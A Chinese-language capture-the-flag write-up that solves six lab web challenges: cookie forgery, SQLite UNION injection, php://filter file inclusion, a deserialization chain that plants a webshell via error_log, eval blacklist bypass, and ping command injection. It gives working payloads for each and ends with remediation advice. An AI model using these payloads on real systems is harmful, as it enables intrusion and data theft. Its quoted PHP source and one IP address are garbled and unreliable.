本 Writeup 整合本次 CTF 竞赛的全部 6 道 Web 题目:Cookie 篡改 (web1)、SQL 注入 (web2)、文件包含 (web3)、反序列化 (web4)、简易计算器 (web5)、简单命令注入 (web6)。每道题均包含题目背景、核心考点、完整操作步骤、关键 Payload 与最终 Flag,所有截图均嵌入原文对应位置。
一、题目概览
| 题号 | 题目名称 | 分值 | 核心考点 | Flag |
|---|---|---|---|---|
| web1 | Cookie 篡改 | 100 | 客户端 Cookie 身份伪造 | flag{fbb13e9cc8de3d84} |
| web2 | SQL 注入 | 200 | SQLite UNION 注入 + sqlite_master 枚举 | flag{9a173797de052031} |
| web3 | 文件包含 | 200 | php://filter 伪协议读取文件 | flag{c0de2acb19d3544e} |
| web4 | 反序列化 | 300 | 魔术方法 + ini_set + error_log 写马 | flag{21cbc191777f558c} |
| web5 | 简易计算器 | 500 | eval 注入 + 字符过滤绕过 | flag{9a2de6ad715b30dcb748a04a43} |
| web6 | 简单命令注入 | 300 | 命令拼接注入 + URL 编码 | flag{aab939df636e121b} |
说明:原始材料中 web3 与 web4 同源于一份反序列化题目源码,文档编号与实际 CTF 题号有出入;此处已按实际 Flag 与考点重新排序为 web1 → web6。
二、web1 · Cookie 篡改
题目背景
某活动站点上线前赶工,开发者图省事把用户信息直接塞进 cookie:base64 编码一下就算"加密"了。管理员才能看到的秘密页面就藏在这个站里。任务:分析站点并获取 flag。
考点
- 身份信息被完整存放在客户端 Cookie 中
- Base64 只是编码 而非加密,可逆且无任何校验
- 客户端可控数据导致的越权(水平 / 垂直权限提升)
解题思路
- 访问站点,页面显示 Welcome, anonymous、role: guest,并提示 "You are a guest. Only admins can see the secret." ------ 说明存在管理员专属页面。
- 打开浏览器 DevTools → Application → Cookies,发现一个 Base64 字符串,解码后为 JSON:{"username":"anonymous","role":"guest"}
- 关键字段是 role。把 guest 改为 admin,重新 Base64 编码,替换 Cookie 后刷新页面。
- 服务端仅依据 Cookie 中的 role 判断身份,未做任何签名校验,篡改后即以管理员身份渲染秘密页面,直接回显 flag。
关键 Payload
1) 解码原始 Cookie
echo 'eyJ1c2VybmFtZSI6ImFub255bW91cyIsInJvbGUiOiJndWVzdCJ9' | base64 -d
{"username":"anonymous","role":"guest"}
2) 伪造 role=admin 并重新编码
echo -n '{"username":"anonymous","role":"admin"}' | base64
eyJ1c2VybmFtZSI6ImFub255bW91cyIsInJvbGUiOiJhZG1pbiJ9
要点:Cookie 中凡是用于鉴权的字段(role、is_admin、uid 等)都必须服务端签名或存储在服务端 Session,绝不能直接信任客户端传来的明文(哪怕是 Base64)。

图1-1:默认访客页面,提示只有管理员可看 secret

图1-2:篡改 Cookie 的 role 字段后,成功拿到 flag
FLAG flag{fbb13e9cc8de3d84}
三、web2 · SQL 注入(SQLite UNION)
题目信息
一家公司的内部"用户目录"系统上线了,输入用户名就能查到人,查询结果直接显示密码哈希。开发者似乎对"输入"不太在意......提示:试试在用户名里输入一个单引号 '。后端使用 SQLite 数据库。
考点
- SQL 注入漏洞:单引号触发报错 → 确认拼接
- SQLite 的联合注入(UNION SELECT)
- SQLite 使用 sqlite_master 枚举表名 / 结构,而非 MySQL 的 information_schema
- GROUP_CONCAT 将多行结果合并为单行字符串,方便回显
解题思路
- 访问靶机,按提示在用户名输入框输入单引号 ',触发 SQL 语法错误。报错中出现 no such table: information_schema.tables,确认数据库为 SQLite 。
- 报错还意外回显了建表语句 CREATE TABLE users (id INTEGER PRIMARY KEY name TEXT pass TEXT),揭示 users 表结构。
- 用 ' UNION SELECT 1,2,3-- - 判断列数:1 / 2 / 3 全部回显,说明原查询有 3 列(ID、用户名、密码哈希)。
- 枚举表名:' UNION SELECT 1,(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table'),3-- -,回显 users,flags。发现还有一张 flags 表 。
- 查看 flags 表结构:' UNION SELECT 1,(SELECT GROUP_CONCAT(sql) FROM sqlite_master WHERE type='table'),3-- -,得到 flags(id, flag)。
- 先取 users 数据验证(干扰项):' UNION SELECT 1,(SELECT GROUP_CONCAT(name||':'||pass) FROM users),3-- -,拿到 alice/bob/carol 的 MD5。
- 最终目标:' UNION SELECT 1,(SELECT GROUP_CONCAT(flag) FROM flags),3-- -,回显 flag。
关键 Payload
1) 触发报错(确认 SQL 拼接)
'
2) 判断列数
' UNION SELECT 1,2,3-- -
3) 枚举所有表名(SQLite 用 sqlite_master)
' UNION SELECT 1,(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table'),3-- -
回显: users,flags
4) 查看所有表的建表语句
' UNION SELECT 1,(SELECT GROUP_CONCAT(sql) FROM sqlite_master WHERE type='table'),3-- -
5) 获取 flags 表中的 flag
' UNION SELECT 1,(SELECT GROUP_CONCAT(flag) FROM flags),3-- -
踩坑:一开始只盯着 users 表(alice、bob、carol 三个普通用户),发现 flag 不在里面,差点漏掉 flags 表。做 SQLite UNION 注入时一定要先枚举全部表,再逐一查看结构。

图2-1:题目描述页面

图2-3:单引号注入触发 SQL 报错,同时回显 users 表建表语句

图2-4:UNION 注入获取 alice 用户数据

图2-5:UNION 注入获取 bob 用户数据

图2-6:GROUP_CONCAT 批量获取 users 表所有用户

图2-7:GROUP_CONCAT 查询结果确认(users + flags 两张表)
这道题是典型的 UNION 注入 + 直连数据库泄露 ,后端是 PHP + SQLite(报错 no such table: information_schema.tables 暴露了这一点,所以要用 sqlite_master)。
| 步骤 | 目的 | Payload (name 参数值) | 回显 |
|---|---|---|---|
| 1 | 判断列数 | ' UNION SELECT 1,2,3-- - | 三列 1 / 2 / 3 全部回显 |
| 2 | 枚举表名 | ' UNION SELECT 1,(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table'),3-- - | users,flags |
| 3 | 看表结构 | ... GROUP_CONCAT(sql) ... | users(id,name,pass)、flags(id,flag) |
| 4 | 取 flag | ' UNION SELECT 1,(SELECT GROUP_CONCAT(flag) FROM flags),3-- - | flag{9a173797de052031} |
你截图里已完成的部分
你上传的结果里,用户名列被 GROUP_CONCAT(name,':',pass) 拼成了:
- alice:7abdccbea8473767e91378e37850d296
- bob:3782b671390b01a8b68fe05e8a6ad00b
- carol:cd06ee7a049f1c342ccd6c0e6575d8b8
这些只是 users 表(干扰数据)。真正的 flag 藏在额外的 flags 表里------所以光靠 users 是拿不到答案的,必须继续枚举 sqlite_master 才能发现 flags 表,这也是本题的关键转折点。
FLAG flag{9a173797de052031}
四、web3 · 文件包含(php://filter)
题目背景
一个"文件查看器"应用,通过 ?file=home 参数切换页面。题目提示:Flag 存储在 /flag 文件中,PHP 的 include() 函数可以包含文件,若参数可控则可能包含任意文件。
考点
- PHP 文件包含漏洞(LFI)
- php://filter 伪协议:在包含文件时对内容做流处理
- 用 convert.base64-encode 把文件内容编码后输出,避免源码被当作脚本执行
解题思路
- 访问首页,确认存在 ?file= 参数(提示可用 ?file=home、?file=about)。
- 猜测后端为 include($_GET'file'),参数可控。直接尝试读取 /flag 会把 flag 当作 PHP 代码执行,可能不会显示。
- 改用 php://filter 包装:?file=php://filter/read=convert.base64-encode/resource=/flag
- 响应返回一串 Base64:ZmxhZ3tjMGRlMmFjYjE5ZDM1NDRlfQo=,解码即得 flag。
关键 Payload
利用 php://filter 读取 /flag(base64 编码后回显)
http://<host>:<port>/?file=php://filter/read=convert.base64-encode/resource=/flag
响应内容
ZmxhZ3tjMGRlMmFjYjE5ZDM1NDRlfQo=
解码
echo 'ZmxhZ3tjMGRlMmFjYjE5ZDM1NDRlfQo=' | base64 -d
flag{c0de2acb19d3544e}
原理:php://filter/read=convert.base64-encode/resource=<path> 会把目标文件内容以 Base64 流的形式返回,从而绕过"包含即执行"的问题,安全地把文件内容带出来。

图3-1:php://filter 构造与提交

图3-2:页面回显 Base64 编码后的 flag 内容

图3-3:解码得到最终 flag
FLAG flag{c0de2acb19d3544e}
五、web4 · 反序列化(Error Log Webshell)
题目背景
前任开发者留下的一套"管理面板"。源码直接挂在首页上。系统里有个重要文件 /flag。提示:注意用户输入是怎么被使用的......以及那些魔术方法。
题目源码
<?php
highlight_file(FILE);
class main{
public $settings;
public $params;
public function __construct(){
$this->settings=array(
'display_errors'=>'On',
'allow_url_fopen'=>'On'
);
$this->params=array();
}
public function __wakeup(){
foreach (this-\>settings as key => $value) {
ini_set(key, value);
}
}
public function __destruct(){
file_put_contents('settings.inc', unserialize($this->params));
}
}
unserialize($_GET'data');
考点
- PHP 反序列化与魔术方法 __wakeup / __destruct 的自动触发
- __wakeup 中 ini_set 对 任意键值可控 → 改写 error_log / log_errors / unserialize_callback_func
- unserialize_callback_func:反序列化遇到未定义类时触发;非法回调名导致 Fatal error 被写入 error_log
- 把 Fatal error 里夹带的 PHP 代码写入可执行 .php 文件 → Webshell
利用链分析
① 一次反序列化触发 `__wakeup` :unserialize($_GET'data') 解析构造的 main 对象,立即执行 __wakeup,逐个 ini_set 写入:display_errors=On、log_errors=1、error_log=/var/www/html/x.php、unserialize_callback_func=<?php system('cat /flag');?>。
② `__destruct` 触发二次反序列化 :脚本结束销毁对象时执行 __destruct,对 $this->params 再次 unserialize()。让 params 为 O:2:"id":0:{} ------ 一个不存在的类 id,触发上一步设置的 unserialize_callback_func。
③ 错误信息落盘成 Webshell :回调名不是合法函数名,PHP 抛出 Fatal error(Invalid callback ...),被原样写入 error_log 指定的 x.php。文件中夹带的 <?php system('cat /flag');?> 会被 PHP 正常解析执行,于是 x.php 变成 Webshell。
完整 Payload
外层 main 对象(URL 编码前)
O:4:"main":2:{
s:8:"settings";a:4:{
s:14:"display_errors";s:2:"On";
s:10:"log_errors";s:1:"1";
s:9:"error_log";s:19:"/var/www/html/x.php";
s:25:"unserialize_callback_func";s:28:"<?php system('cat /flag');?>";
}
s:6:"params";s:13:"O:2:"id":0:{}";
}
URL 编码后作为 data 参数提交:
http://<host>:<port>/?data=O%3A4%3A%22main%22%3A2%3A%7Bs%3A8%3A%22settings%22%3Ba%3A4%3A%7Bs%3A14%3A%22display_errors%22%3Bs%3A2%3A%22On%22%3Bs%3A10%3A%22log_errors%22%3Bs%3A1%3A%221%22%3Bs%3A9%3A%22error_log%22%3Bs%3A19%3A%22%2Fvar%2Fwww%2Fhtml%2Fx.php%22%3Bs%3A25%3A%22unserialize_callback_func%22%3Bs%3A28%3A%22%3C%3Fphp%20system%28%27cat%20%2Fflag%27%29%3B%3F%3E%22%3B%7Ds%3A6%3A%22params%22%3Bs%3A13%3A%22O%3A2%3A%22id%22%3A0%3A%7B%7D%22%3B%7D
随后访问落盘的 Webshell 即可执行命令:
http://<host>:<port>/x.php?0=cat /flag
踩坑记录: ① 序列化字符串长度必须逐字节精确。最初把 /var/www/html/shell.php 的长度写成 24(实际 23),导致外层 unserialize 直接解析失败;建议用 PHP serialize() 动态生成。② .inc 文件被 Apache 当纯文本返回,写入 settings.inc 里的 PHP 代码不会执行,必须落到 .php 文件。③ unserialize_callback_func 只对下一次 unserialize 生效,必须用 __destruct 里的第二次反序列化来触发。

图4-1:首页 highlight_file 泄露完整源码

图4-2:未传入 data 参数时的报错(确认反序列化入口存在)

图4-3:发送 Payload 后查看页面源码(此时需去验证 Webshell 是否已落盘)

图4-4:错误路径探索(尝试 php://filter + .inc,发现 .inc 不可执行)

图4-5:确认源码结构与利用链节点

图4-6:本地环境坑点 --- Windows 上 PHP 命令不可用,需先装 PHP 或用 Kali

图4-7:最终利用成功 --- Fatal error 中夹带的 PHP 代码被执行,flag 直接回显
FLAG flag{21cbc191777f558c}
六、web5 · 简易计算器(eval 注入)
题目背景
一个在线四则运算计算器,输入两个数和运算符即可得到结果。开发者说"做了严格的字符过滤,绝对安全"。真的吗?
考点
- eval() 把用户输入拼进代码 → 代码注入
- 黑名单式字符过滤的天然缺陷:堵了一部分符号,但 PHP 语言结构仍可绕过
- PHP 的 include / require 是语言结构 而非函数,不需要括号
过滤规则探测
向 num2 逐个提交字符 / 关键字,观察报错判断拦截情况:
| 输入 | 回显 | 结论 |
|---|---|---|
| phpinfo() | 无输出 | ( 被过滤 |
| ' | 无输出 | 单引号 ' 被过滤 |
| $ | 无输出 | 美元符 $ 被过滤 |
| ` | 无输出 | 反引号被过滤 |
| 1; | 1 | 分号可用,语句可截断 |
| 1 . 2 | 3 | 双引号 / 字符串语法可用 |
| include"/flag" | flag 内容 | 无需括号即可包含文件 |
关键发现:(、'、$、反引号等被拦截,但双引号、分号、字母关键字 未被拦截。函数调用因缺括号不可用,但可以改用不需要括号的语言结构 include 直接包含文件。
解题思路
- 先提交合法运算 num1=1&symbol=%2B&num2=2,确认后端把参数拼进 eval() 执行。
- 逐字符探测过滤规则,确认 ( / ' / $ / 反引号被拦,双引号与分号可用。
- 用分号截断原有表达式,拼上无需括号的 include 语言结构:1;include"/flag";。
- eval 执行整个拼接后的代码块,include "/flag" 直接把 flag 文件内容输出到页面。
关键 Payload
方式一:把 payload 放在 num2,用分号截断前面的表达式
num1=1&symbol=%2B&num2=1;include"/flag";
方式二:直接提交 payload 语句
num1=1&symbol=%2B&num2=include"/flag";
等价可用 require(同样是语言结构)
num1=1&symbol=%2B&num2=1;require"/flag";
为什么能绕过:include "/flag"; 中 include 是语言结构,语法为 include 表达式;,无需圆括号,绕开了对 ( 的过滤;文件名用双引号包裹(未被过滤)。作为对比,system id(无括号)会报 Undefined constant "system",证明函数调用方式在此过滤下不可用。

图5-1:简易计算器页面与初始探测

图5-2:分号、双引号等字符探测结果

图5-3:include"/flag" 直接回显 flag,eval 注入成功
FLAG flag{9a2de6ad715b30dcb748a04a43}
七、web6 · 简单命令注入
题目背景
一个 Ping 工具,可以测试网络连通性。输入要 ping 的 IP 地址即可。开发者对输入验证似乎不够严格......Flag 存储在 /flag 文件中。
考点
- 命令注入(Command Injection):后端把用户输入直接拼接进 shell 命令
- URL 编码特殊字符(/ → %2F)
- 常见命令拼接分隔符:;、|、||、&&、$()、反引号等
解题思路
- 创建靶机容器,端口映射为 80 → http://172.2107.235:20006。
- 尝试访问靶机地址,浏览器直接访问无响应 ------ 说明不是纯 HTTP 静态页。进入 Web 第 6 题的 Ping 工具页面。
- 先在界面输入 ls -la 验证命令执行能力,成功列出目录(含 index.php),确认后端确实把 cmd 参数直接拼进系统命令。
- 构造 URL 直接读取 flag:http://172.21.107.235:20006/?cmd=cat+%2Fflag(%2F 是 / 的 URL 编码,+ 是空格)。
- 页面直接回显 flag{aab939df636e121b},攻击完成。
关键 Payload
验证命令执行(Web 界面输入)
ls -la
回显: index.php 等文件列表
直接读 flag(URL 参数)
http://172.21.107.235:20006/?cmd=cat+%2Fflag
等价分隔符(如 ; 或 | 拼接)
?cmd=127.0.0.1;cat+/flag
?cmd=127.0.0.1|cat+/flag
关键点:URL 中的 / 必须编码为 %2F(否则会被当作路径分隔符处理),空格可以用 + 或 %20 编码。如果题目有过滤某些分隔符,可以尝试多种变体(;、|、||、&&、换行符 %0a)。

图6-1:CTF 考试平台与题目列表(含端口映射)

图6-2:创建靶机容器,获得 3600 秒存活时间

图6-3:Ping 工具题目描述与 Web 入口

图6-4:命令执行工具界面(Web 交互)

图6-5:执行 ls -la 验证命令执行能力

图6-6:URL 构造 ?cmd=cat+/flag,直接回显最终 flag
FLAG flag{aab939df636e121b}
八、总结与修复建议
| 题号 | 漏洞本质 | 修复方向 |
|---|---|---|
| web1 | 鉴权字段存放于客户端且可篡改 | 权限信息存服务端 Session / 对 Cookie 做签名校验 |
| web2 | SQL 拼接无过滤(SQLite UNION 注入) | 参数化查询(Prepared Statement);对特殊字符做转义 |
| web3 | 文件包含参数可控(LFI) | 白名单固定可包含文件;禁用 php:// 等危险伪协议 |
| web4 | 反序列化 + 魔术方法 + 任意 ini 配置 | 避免反序列化用户输入;对 ini_set 的 key 做白名单 |
| web5 | eval 拼接用户输入 + 黑名单过滤 | 禁用 eval;改用白名单解析运算符,不要用黑名单 |
| web6 | 命令参数直接拼接进系统命令 | 白名单校验 IP 格式;用 exec/passthru 数组形式避免 shell 注入 |
六道题覆盖了 Web 安全中最常见的几个高频面:客户端信任问题 (web1 Cookie 篡改)、SQL 拼接 (web2)、服务端文件读取 (web3 php://filter)、对象注入 + 魔术方法 (web4 反序列化)、eval 注入 + 黑名单绕过 (web5)、Shell 命令拼接 (web6)。本质上它们有一个共同模式:只要用户输入被" 直接当作身份、查询、代码、文件名或命令参数使用" ,就一定有问题 。
修复方向归纳:① 客户端传来的东西永远不能直接信任,鉴权 / 权限信息必须服务端保存;② SQL 一律用参数化查询;③ 文件包含 / 文件读取一律白名单 + 禁用危险伪协议;④ 避免 unserialize() 用户输入,必须用则只反序列化自己构造的结构;⑤ 避免 eval(),解析用户给的表达式用白名单 lexer;⑥ 命令执行用白名单校验参数,或用函数数组形式(exec($cmd, $arg1))避免 shell 拼接。